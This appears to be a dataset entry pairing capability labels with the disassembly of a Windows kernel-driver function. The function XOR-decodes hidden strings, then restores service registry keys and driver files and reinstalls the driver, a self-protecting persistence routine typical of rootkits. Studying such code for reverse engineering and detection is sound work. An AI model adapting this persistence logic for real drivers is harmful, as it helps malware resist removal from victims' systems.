Function at 0x10c50
Capabilities:
Create device object
Encode data using xor
Get file attributes
Read file on windows
Resolve function by parsing pe exports
Set file attributes
Set registry value
Write file on windows

Disassembly:
sub esp, 0x3e0
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push ebp
push 0x3c
push 1
mov dword [esp + 0x88], 0xc0000001
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x90], ebp
mov dword [esp + 0x40], 1
mov dword [esp + 0x70], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10cb9
mov edi, 0x15344
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
lea ebx, [ebp + 0xf]
lea esp, [esp]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10ca0
mov dword [esp + 0x64], eax
xor ebp, ebp
push ebp
push 0x68
push 1
mov dword [esp + 0x78], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10cf9
mov edi, 0x15384
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 0x1a
lea ecx, [ecx]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10ce0
mov dword [esp + 0x6c], eax
xor ebp, ebp
push ebp
push 0xc
push 1
mov dword [esp + 0x80], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10d39
mov edi, 0x15510
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 3
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10d20
mov dword [esp + 0x74], eax
xor ebp, ebp
push ebp
push 0x14
push 1
mov dword [esp + 0x68], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10d79
mov edi, 0x154b8
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 5
lea ecx, [ecx]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10d60
mov dword [esp + 0x5c], eax
xor ebp, ebp
push ebp
push 0xc
push 1
mov dword [esp + 0x6c], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10db9
mov edi, 0x154d0
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 3
lea ecx, [ecx]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10da0
mov dword [esp + 0x60], eax
xor ebp, ebp
push ebp
push 0xc
push 1
mov dword [esp + 0x74], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10df9
mov edi, 0x154e0
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 3
lea ecx, [ecx]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10de0
mov dword [esp + 0x68], eax
xor ebp, ebp
push ebp
push 0x1c
push 1
mov dword [esp + 0x7c], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10e39
mov edi, 0x154f0
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 7
lea ecx, [ecx]
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10e20
mov dword [esp + 0x70], eax
xor ebp, ebp
push ebp
push 0xc
push 1
mov dword [esp + 0x84], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10e79
mov edi, 0x15520
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 3
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10e60
mov dword [esp + 0x78], eax
xor ebp, ebp
push ebp
push 0x1c
push 1
mov dword [esp + 0x8c], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10ebc
mov edi, 0x15530
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 7
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10ea0
mov dword [esp + 0x80], eax
xor ebp, ebp
push ebp
push 0x14
push 1
mov dword [esp + 0x64], ebp
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
cmp eax, ebp
je 0x10ef9
mov edi, 0x15550
or esi, 0xffffffff
mov ecx, eax
sub edi, eax
mov ebx, 5
mov edx, dword [edi + ecx]
mov ebp, edx
xor ebp, esi
mov dword [ecx], ebp
add ecx, 4
sub ebx, 1
mov esi, edx
jne 0x10ee0
mov dword [esp + 0x58], eax
xor ebp, ebp
push str._CheckFiles_
call fcn.00012660
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp dword [esp + 0x64], ebp
je 0x11af1
cmp dword [esp + 0x6c], ebp
je 0x11adf
cmp dword [esp + 0x74], ebp
je 0x11adf
cmp dword [esp + 0x5c], ebp
je 0x11adf
cmp dword [esp + 0x60], ebp
je 0x11adf
cmp dword [esp + 0x68], ebp
je 0x11adf
cmp dword [esp + 0x70], ebp
je 0x11adf
cmp dword [esp + 0x78], ebp
je 0x11adf
cmp dword [esp + 0x80], ebp
je 0x11adf
cmp dword [esp + 0x58], ebp
je 0x11adf
push str._CheckFiles_Create_dev
mov dword [esp + 0x24], ebp
call fcn.00012660
lea eax, [esp + 0x88]
push eax
call fcn.000128a0
test eax, eax
jl 0x11adf
push 8
lea esi, [esp + 0x8c]
call fcn.00010490
push 0x10
call fcn.00010490
mov ecx, dword [str.Device_]
mov eax, dword [0x155ac]
mov edx, dword [0x155a8]
mov dword [esp + 0xb0], ecx
mov ecx, dword [0x155b0]
mov dword [esp + 0xb8], eax
lea eax, [esp + 0xc0]
mov dword [esp + 0xb4], edx
mov dword [esp + 0xbc], ecx
call fcn.000106b0
push 0x18
call fcn.00010490
mov eax, dword [0x155bc]
mov edx, dword [str.DosDevices_]
mov ecx, dword [0x155c0]
mov dword [0x16de4], eax
mov eax, dword [0x155c8]
mov dword [0x16de0], edx
mov edx, dword [0x155c4]
mov dword [0x16de8], ecx
mov ecx, dword [0x155cc]
mov dword [0x16df0], eax
mov eax, 0x16df8
mov dword [0x16dec], edx
mov dword [0x16df4], ecx
call fcn.000106b0
mov esi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea edx, [esp + 0xb0]
push edx
lea eax, [esp + 0x3c]
push eax
call esi
push 0x16de0
lea ecx, [esp + 0x30]
push ecx
call esi
push 0x16de0
lea edx, [esp + 0xb4]
push edx
push str._CheckFiles_Dev_Name:__S__Lnk_Name:__S
call fcn.00012710
mov edx, dword [esp + 0x400]
add esp, 0xc
lea eax, [esp + 0x20]
push eax
push ebp
push ebp
push 0x8000
lea ecx, [esp + 0x48]
push ecx
push 4
push edx
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jl 0x11adf
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
test eax, eax
jl 0x11adf
mov edx, dword [esp + 0x20]
mov eax, dword [edx + 0x28]
mov dword [eax], 0x10ac0
mov eax, 0x15d80
mov dword [esp + 0x2c], 1
call fcn.00010a20
push str._CheckFiles_Decode
mov edi, eax
call fcn.00012660
cmp edi, ebp
je 0x11adf
movzx esi, word [0x15d80]
sub esi, 8
mov eax, ebp
mov ebx, ebp
je 0x11125
mov edx, 1
mov cl, byte [eax + edi]
inc eax
inc edx
test cl, cl
jns 0x11120
cmp cl, 0xff
je 0x11116
cmp eax, esi
jae 0x11155
inc eax
inc edx
jmp 0x11120
cmp edx, esi
jae 0x11155
add eax, 2
add edx, 2
inc ebx
cmp eax, esi
jb 0x11100
mov eax, ebx
push ebp
lea ecx, [eax + eax]
push ecx
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov dword [esp + 0x84], eax
cmp eax, ebp
je 0x11159
movzx edx, word [0x15d80]
sub edx, 8
push edx
mov esi, eax
call fcn.000105d0
xor esi, esi
jmp 0x1115d
xor eax, eax
jmp 0x11127
mov esi, dword [esp + 0x2c]
push ebp
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp esi, ebp
jne 0x11adf
mov esi, dword [esp + 0x84]
xor edi, edi
jmp 0x11180
mov eax, esi
mov dword [esp + edi*4 + 0xb0], esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x11190
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2 + 2]
mov eax, dword [esp + edi*4 + 0xb0]
push eax
push str._CheckFiles__S
call fcn.00012710
inc edi
add esp, 8
cmp edi, 0xd
jb 0x11180
push str._CheckFiles_Restore_keys
mov dword [esp + 0x20], 0xb
call fcn.00012660
mov eax, dword [esp + 0x64]
lea edx, [esp + 0x1b0]
sub edx, eax
lea ecx, [ecx]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
cmp cx, bp
jne 0x111e0
mov ecx, dword [esp + 0x6c]
push ecx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push ebp
push ebp
push ebp
push ebp
lea ecx, [esp + 0x50]
push ecx
push 0xf003f
lea edx, [esp + 0x28]
lea eax, [esp + 0x2c]
push edx
mov dword [esp + 0x5c], 0x18
mov dword [esp + 0x60], ebp
mov dword [esp + 0x68], 0x40
mov dword [esp + 0x64], eax
mov dword [esp + 0x6c], ebp
mov dword [esp + 0x70], ebp
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jl 0x11adf
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x1c]
jmp 0x11260
mov esi, dword [esp + eax*4 + 0xb0]
push esi
push str._CheckFiles_Restore_key:__S
mov dword [esp + 0x34], 1
call fcn.00012710
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 8
push esi
lea ecx, [esp + 0x18]
push ecx
call edi
push ebp
push ebp
push ebp
push ebp
lea edx, [esp + 0x50]
push edx
push 0xf003f
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
test eax, eax
jl 0x11422
mov ecx, dword [esp + 0x5c]
push ecx
lea edx, [esp + 0x18]
push edx
call edi
mov eax, esi
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x112c0
sub eax, edx
sar eax, 1
mov edi, eax
lea eax, [edi + edi]
push eax
lea ecx, [esp + 0x1ee]
push esi
push ecx
call fcn.00014c80
mov eax, dword [esp + 0x6c]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
add esp, 0xc
mov dword [esp + edi*2 + 0x1ea], edx
mov dx, word [eax + 8]
mov dword [esp + edi*2 + 0x1ee], ecx
lea eax, [edi + edi + 0x44]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x1b4]
push ecx
push 2
mov word [esp + edi*2 + 0x1fe], dx
push ebp
lea edx, [esp + 0x24]
push edx
push eax
call ebx
test eax, eax
jl 0x11422
mov ecx, dword [esp + 0x68]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x28], 1
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov edx, dword [esp + 0x10]
push 4
lea eax, [esp + 0x24]
push eax
push 4
push ebp
lea ecx, [esp + 0x24]
push ecx
push edx
call ebx
test eax, eax
jl 0x11422
mov eax, dword [esp + 0x70]
push eax
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov ecx, dword [esp + 0x10]
push 4
lea edx, [esp + 0x24]
push edx
push 4
push ebp
lea eax, [esp + 0x24]
push eax
push ecx
call ebx
test eax, eax
jl 0x11422
mov edx, dword [esp + 0x74]
push edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov eax, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x24]
push ecx
push 4
push ebp
lea edx, [esp + 0x24]
push edx
push eax
call ebx
test eax, eax
jl 0x11422
mov ecx, dword [esp + 0x78]
push ecx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
cmp dword [esp + 0x1c], 0xb
jne 0x113ed
mov esi, dword [esp + 0x80]
mov eax, esi
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x113e0
jmp 0x11401
mov esi, dword [esp + 0x58]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x113f6
sub eax, edx
mov edx, dword [esp + 0x10]
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push ebp
lea ecx, [esp + 0x24]
push ecx
push edx
call ebx
test eax, eax
jl 0x11422
mov dword [esp + 0x2c], ebp
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11431
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x10], ebp
cmp dword [esp + 0x2c], ebp
jne 0x11adf
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, 0xd
jb 0x11260
mov eax, dword [esp + 0x44]
cmp eax, ebp
je 0x11460
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov ecx, 6
mov esi, str.DosDevices_
lea edi, [esp + 0x1b0]
rep movsd dword es:[edi], dword [esi]
push 0x226
lea eax, [esp + 0x1ce]
push ebp
push eax
mov dword [esp + 0x50], ebp
movsw word es:[edi], word [esi]
call fcn.00014fc0
add esp, 0xc
push str._CheckFiles_Restore_files
mov dword [esp + 0x20], 1
call fcn.00012660
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0x18
mov dword [esp + 0x44], ebp
mov dword [esp + 0x4c], 0x40
mov dword [esp + 0x48], ecx
mov dword [esp + 0x50], ebp
mov dword [esp + 0x54], ebp
jmp 0x114d0
mov edx, dword [esp + 0x1c]
mov edi, dword [esp + edx*4 + 0xb0]
push edi
push str._CheckFiles_Restore_file:__S
call fcn.00012710
mov eax, edi
add esp, 8
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x114f0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea ecx, [esp + 0x1cc]
push edi
push ecx
call fcn.00014c80
add esp, 0xc
lea edx, [esp + 0x1b0]
push edx
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x40
push 7
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x4c]
push edx
push ebp
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
jl 0x1155e
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11555
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x10], ebp
jmp 0x11724
mov ecx, dword [esp + 0x1c]
mov ecx, dword [esp + ecx*4 + 0xb4]
mov eax, ecx
mov dword [esp + 0x2c], 1
xor ebx, ebx
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], ebp
lea esi, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bp
jne 0x11580
sub eax, esi
sar eax, 1
lea edx, [eax + eax + 2]
push edx
push ecx
lea eax, [esp + 0x1d0]
push eax
call fcn.00014c80
add esp, 0xc
lea ecx, [esp + 0x1b0]
push ecx
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push 0x60
push ebp
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x4c]
push ecx
push 0x110003
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
jl 0x116ed
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
call fcn.00010c10
test eax, eax
jl 0x116ed
mov esi, dword [esp + 0x20]
push ebp
push esi
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov ebx, eax
cmp ebx, ebp
je 0x116ed
mov eax, dword [esp + 0x10]
push ebp
lea ecx, [esp + 0x3c]
push ecx
push esi
push ebx
lea edx, [esp + 0x34]
push edx
push ebp
push ebp
push ebp
push eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
jl 0x116ed
cmp dword [esp + 0x28], esi
jne 0x116ed
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11647
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, edi
mov dword [esp + 0x10], ebp
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x11650
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esp + 0x1cc]
push edi
push edx
call fcn.00014c80
add esp, 0xc
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push ebp
push ebp
push 0x60
push 5
push ebp
push 0x80
push ebp
lea edx, [esp + 0x40]
push edx
lea eax, [esp + 0x60]
push eax
push 0x110003
lea ecx, [esp + 0x38]
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x116ed
mov ecx, dword [esp + 0x10]
push ebp
lea edx, [esp + 0x3c]
push edx
push esi
push ebx
lea eax, [esp + 0x34]
push eax
push ebp
push ebp
push ebp
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
jl 0x116ed
cmp dword [esp + 0x28], esi
jne 0x116ed
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x116e7
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x2c], ebp
jmp 0x116fc
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x116fc
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x10], ebp
cmp ebx, ebp
je 0x1170c
push ebp
push ebx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp dword [esp + 0x2c], ebp
je 0x11724
push edi
push str._CheckFiles_Cannot_restore_file:__S
call fcn.00012710
add esp, 8
mov dword [esp + 0x34], ebp
mov eax, dword [esp + 0x1c]
add eax, 2
mov dword [esp + 0x1c], eax
cmp eax, 0xb
jb 0x114d0
mov eax, dword [esp + 0x44]
cmp eax, ebp
je 0x11747
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x44], ebp
cmp dword [esp + 0x34], ebp
jne 0x11adb
mov ecx, 6
mov esi, str.DosDevices_
lea edi, [esp + 0x1b0]
rep movsd dword es:[edi], dword [esi]
push 0x226
lea edx, [esp + 0x1ce]
push ebp
push edx
movsw word es:[edi], word [esi]
call fcn.00014fc0
add esp, 0xc
push str._CheckFiles_Reinstall
call fcn.00012660
mov eax, dword [esp + 0xb4]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x11794
mov ecx, dword [esp + 0xb4]
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
push ecx
lea edx, [esp + 0x1d0]
push edx
call fcn.00014c80
add esp, 0xc
lea eax, [esp + 0x1b0]
push eax
push str.CheckFiles
push str.__s_Restore_Svc:__S
call fcn.00012710
mov ebx, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
add esp, 0xc
lea ecx, [esp + 0x1b0]
push ecx
lea edx, [esp + 0x18]
push edx
call ebx
mov edi, dword [sym.imp.ntoskrnl.exe_ZwOpenFile]
push 0x40
push 7
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x4c]
lea eax, [esp + 0x20]
push edx
mov dword [esp + 0x58], eax
push ebp
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x58], 0x18
mov dword [esp + 0x5c], ebp
mov dword [esp + 0x64], 0x40
mov dword [esp + 0x68], ebp
mov dword [esp + 0x6c], ebp
call edi
test eax, eax
jl 0x1187b
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11842
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov dword [esp + 0x10], ebp
mov esi, dword [esp + 0xb4]
push esi
push str.CheckFiles
push str.__s_Service:__S
call fcn.00012710
add esp, 0xc
push esi
call fcn.00013aa0
test eax, eax
jl 0x11adf
mov dword [esp + 0x7c], 1
jmp 0x11adf
mov edx, dword [esp + 0xb0]
mov eax, edx
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], ebp
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x11897
sub eax, esi
sar eax, 1
lea ecx, [eax + eax + 2]
push ecx
push edx
lea edx, [esp + 0x1d0]
push edx
call fcn.00014c80
add esp, 0xc
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x18]
push ecx
call ebx
lea edx, [esp + 0x1b0]
push edx
push str.CheckFiles
push str.__s_Restore_Dat:__S
call fcn.00012710
add esp, 0xc
push 0x60
push ebp
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x4c]
push ecx
push 0x110183
lea edx, [esp + 0x24]
push edx
call edi
test eax, eax
jl 0x11acf
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x2c]
push eax
call fcn.00010c10
test eax, eax
jl 0x11acf
mov edi, dword [esp + 0x2c]
push ebp
push edi
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
cmp esi, ebp
je 0x11acf
mov eax, dword [esp + 0x10]
push ebp
lea ecx, [esp + 0x3c]
push ecx
push edi
push esi
lea edx, [esp + 0x34]
push edx
push ebp
push ebp
push ebp
push eax
call dword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
jl 0x11abd
cmp dword [esp + 0x28], edi
jne 0x11abd
mov eax, dword [esp + 0x10]
push 4
push 0x28
lea ecx, [esp + 0x90]
push ecx
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
jl 0x11abd
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11994
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push str.CheckFiles
push str.__s_Restore_Load
mov dword [esp + 0x18], ebp
call fcn.00012710
add esp, 8
push edi
call fcn.000104e0
test eax, eax
je 0x11abd
mov edi, dword [esp + 0xb4]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x119c4
sub eax, edx
sar eax, 1
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esp + 0x1cc]
push edi
push edx
call fcn.00014c80
add esp, 0xc
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0x18]
push ecx
call ebx
lea edx, [esp + 0x1b0]
push edx
push str.CheckFiles
push str.__s_Restore_Svc:__S
call fcn.00012710
add esp, 0xc
push ebp
push ebp
push 0x60
push 5
push ebp
push 0x80
push ebp
lea eax, [esp + 0x40]
push eax
lea ecx, [esp + 0x60]
push ecx
push 0x110183
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.ntoskrnl.exe_ZwCreateFile]
test eax, eax
jl 0x11abd
mov eax, dword [esi + 0x10]
mov edi, dword [eax + esi + 0x14]
push ebp
add eax, 0x14
lea ecx, [esp + 0x3c]
push ecx
mov ecx, dword [esp + 0x18]
push edi
lea edx, [eax + esi + 4]
push edx
lea eax, [esp + 0x34]
push eax
push ebp
push ebp
push ebp
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwWriteFile]
test eax, eax
jl 0x11abd
cmp dword [esp + 0x28], edi
jne 0x11abd
mov ecx, dword [esp + 0x10]
push 4
push 0x28
lea edx, [esp + 0x90]
push edx
lea eax, [esp + 0x30]
push eax
push ecx
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
test eax, eax
jl 0x11abd
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11aa3
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
push str.CheckFiles
push str.__s_Restore_Store
mov dword [esp + 0x18], ebp
call fcn.00012710
add esp, 8
mov dword [esp + 0x34], ebp
push ebp
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp dword [esp + 0x34], ebp
je 0x11846
push str._CheckFiles_Cannot_reinstall
call fcn.00012660
jmp 0x11adf
mov dword [esp + 0x7c], ebp
mov edx, dword [esp + 0x64]
push ebp
push edx
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, dword [esp + 0x6c]
cmp eax, ebp
je 0x11afd
push ebp
push eax
call esi
mov eax, dword [esp + 0x74]
cmp eax, ebp
je 0x11b09
push ebp
push eax
call esi
mov eax, dword [esp + 0x5c]
cmp eax, ebp
je 0x11b15
push ebp
push eax
call esi
mov eax, dword [esp + 0x60]
cmp eax, ebp
je 0x11b21
push ebp
push eax
call esi
mov eax, dword [esp + 0x68]
cmp eax, ebp
je 0x11b2d
push ebp
push eax
call esi
mov eax, dword [esp + 0x70]
cmp eax, ebp
je 0x11b39
push ebp
push eax
call esi
mov eax, dword [esp + 0x78]
cmp eax, ebp
je 0x11b45
push ebp
push eax
call esi
mov eax, dword [esp + 0x80]
cmp eax, ebp
je 0x11b54
push ebp
push eax
call esi
mov eax, dword [esp + 0x58]
cmp eax, ebp
je 0x11b60
push ebp
push eax
call esi
mov eax, dword [esp + 0x84]
cmp eax, ebp
je 0x11b6f
push ebp
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x11b7e
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [esp + 0x44]
cmp eax, ebp
je 0x11b8d
push eax
call dword [sym.imp.ntoskrnl.exe_ZwClose]
mov eax, dword [esp + 0x7c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3e0
ret 4